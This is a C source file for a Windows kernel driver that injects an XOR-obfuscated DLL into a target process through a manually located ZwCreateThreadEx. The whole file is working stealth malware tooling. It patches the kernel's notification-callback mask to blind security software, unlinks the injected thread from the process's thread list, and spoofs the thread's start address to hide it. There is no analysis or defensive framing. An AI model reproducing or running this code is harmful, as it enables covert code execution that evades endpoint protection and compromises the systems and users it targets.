#include "../Base.h"
#include "../../dll.h"
#include "MemLoadDll.h"


typedef NTSTATUS(NTAPI* _ZwCreateThreadEx)(
	OUT PHANDLE ThreadHandle,
	IN ACCESS_MASK DesiredAccess,
	IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
	IN HANDLE ProcessHandle,
	IN PVOID StartRoutine,
	IN PVOID StartContext,
	IN ULONG CreateThreadFlags,
	IN SIZE_T ZeroBits OPTIONAL,
	IN SIZE_T StackSize OPTIONAL,
	IN SIZE_T MaximumStackSize OPTIONAL,
	IN PVOID AttributeList
	);









_ZwCreateThreadEx GetCreateThreadExFunc()
{

	static ULONG64 findFunc = NULL;
	if (findFunc) return (_ZwCreateThreadEx)findFunc;
	UNICODE_STRING unName = { 0 };
	RtlInitUnicodeString(&unName, L"ZwCreateSymbolicLinkObject");
	PUCHAR func = (PUCHAR)MmGetSystemRoutineAddress(&unName);
	func += 5;

	for (int i = 0; i < 0x30; i++)
	{
		if (func[i] == 0x48 && func[i + 1] == 0x8b && func[i + 2] == 0xc4)
		{
			findFunc = (ULONG64)(func + i);
			break;
		}
	}


	if (!findFunc) return NULL;

	KdPrint(("GetZwCreateThreadExAddr %llx\r\n", findFunc));
	return (_ZwCreateThreadEx)findFunc;
}

BOOLEAN CreateRemoteThreadByProcess(PEPROCESS process, IN PVOID Address, IN ULONG64 Arg, PETHREAD* pthread)
{
	NTSTATUS Status = STATUS_UNSUCCESSFUL;
	KAPC_STATE Kpc = { 0, };
	ULONG64 ReginSize = 8;
	HANDLE hThread = NULL;

	_ZwCreateThreadEx threadFunc = GetCreateThreadExFunc();

	if (threadFunc == NULL)
	{
		KdPrintEx((77, 0, "获取ZwCreateThreadEx 失败 %X\r\n", Status));
		return FALSE;
	}

	KeStackAttachProcess(process, &Kpc);

	do
	{
		Status = threadFunc(&hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Address, (PVOID)Arg, 0, 0, 0x100000, 0x200000, NULL);
		if (!NT_SUCCESS(Status))
		{
			LOG( "创建线程失败 STATUS = %x", Status);
			break;
		}

		if (hThread)
		{
			ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, *PsThreadType, KernelMode, (PVOID*)pthread, NULL);
			ZwClose(hThread);
		}

	} while (0);

	KeUnstackDetachProcess(&Kpc);

	return TRUE;
}






VOID InjectDllX64(HANDLE pid) {

	SIZE_T dwImageSize = sizeof(sysData);
	unsigned char* pMemory = (unsigned char*)ExAllocatePoolWithTag(PagedPool, dwImageSize, 'yang');
	memcpy(pMemory, sysData, dwImageSize);
	for (ULONG i = 0; i < dwImageSize; i++)
	{
		pMemory[i] ^= 0xd8;
		pMemory[i] ^= 0xcd;
	}


	InjectX641ByProcess(pid, (CHAR*)pMemory, dwImageSize);

	ExFreePoolWithTag(pMemory, 'yang');
}


NTSTATUS InjectX641ByProcess(HANDLE pid, char* shellcode, SIZE_T shellcodeSize)
{
	NTSTATUS status = STATUS_UNSUCCESSFUL;
	KAPC_STATE kApcState = { 0 };
	PEPROCESS process = NULL;
	status = PsLookupProcessByProcessId(pid, &process);
	if (!NT_SUCCESS(status)) {

		return status;

	}

	if (PsGetProcessExitStatus(process) != STATUS_PENDING)
	{
		ObDereferenceObject(process);
		return NULL;
	}

	PUCHAR kfileDll = (PUCHAR)ExAllocatePoolWithTag(PagedPool, shellcodeSize,'yang');

	memcpy(kfileDll, shellcode, shellcodeSize);

	BOOLEAN isuFileAllocatedll = FALSE;
	BOOLEAN isuShellcode = FALSE;
	BOOLEAN isuimageDll = FALSE;

	PUCHAR ufileDll = NULL;
	PUCHAR uShellcode = NULL;
	SIZE_T uShellcodeSize = 0;
	PUCHAR uImage = NULL;
	SIZE_T uImageSize = 0;

	KeStackAttachProcess(process, &kApcState);

	PULONG MaskAddress = GetPspNotifyEnableMask();
	ULONG oldValue = PatchNotificationMask(MaskAddress);

	do
	{
		
		ufileDll = (PUCHAR)AllocateMemoryNoExecute(pid, shellcodeSize);

		if (!ufileDll)
		{
			break;
		}

		memcpy(ufileDll, kfileDll, shellcodeSize);

		isuFileAllocatedll = TRUE;
		
		uShellcode = (PUCHAR)AllocateMemory(pid, sizeof(MemLoadShellcode_x64));

		if (!uShellcode)
		{
			break;
		}

		isuShellcode = TRUE;

		memcpy(uShellcode, MemLoadShellcode_x64, sizeof(MemLoadShellcode_x64));

		PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ufileDll;
		PIMAGE_NT_HEADERS pNts = (PIMAGE_NT_HEADERS)(ufileDll + pDos->e_lfanew);
		uImageSize = pNts->OptionalHeader.SizeOfImage;

		uImage = (PUCHAR)AllocateMemory(pid, uImageSize);

	
		if (!uImage)
		{
			break;
		}

		uShellcode[0x50f] = 0x90;
		uShellcode[0x510] = 0x48;
		uShellcode[0x511] = 0xb8;
		*(PULONG64)&uShellcode[0x512] = (ULONG64)uImage;




		
		PETHREAD thread = NULL;
		if (CreateRemoteThreadByProcess(process, uShellcode, (ULONG64)ufileDll, &thread))
		{
			DbgBreakPoint();
			ULONG64 exeAddress = (ULONG64)PsGetProcessSectionBaseAddress(process);
			ULONG startOffset = GetThreadStartAddressOffset();
			ULONG win32StartOffset = GetWin32ThreadStartAddressOffset();
			ULONG ethreadOffset = GetEThreadListOffset();

			PLIST_ENTRY elist = (PLIST_ENTRY)((PUCHAR)thread + ethreadOffset);
			RemoveEntryList(elist);
			InitializeListHead(elist);
		
			*(PULONG64)((PUCHAR)thread + startOffset) = exeAddress + 0x1000;
			*(PULONG64)((PUCHAR)thread + win32StartOffset) = exeAddress + 0x1000;
			KeWaitForSingleObject(thread, Executive, KernelMode, FALSE, NULL);
			memset(uImage, 0, PAGE_SIZE);
			ObDereferenceObject(thread);
		}
		else
		{
			isuimageDll = TRUE;
		}
	} while (0);


	if (isuFileAllocatedll)
	{
		FreeMemory(pid, ufileDll, shellcodeSize);
	}

	if (isuShellcode)
	{
		FreeMemory(pid, uShellcode, uShellcodeSize);
	}

	if (isuimageDll)
	{
		FreeMemory(pid, uImage, uImageSize);
	}

	RePatchNotificationMask(MaskAddress, oldValue);
	KeUnstackDetachProcess(&kApcState);

	ExFreePoolWithTag(kfileDll,'yang');
	ObDereferenceObject(process);
	return status;
}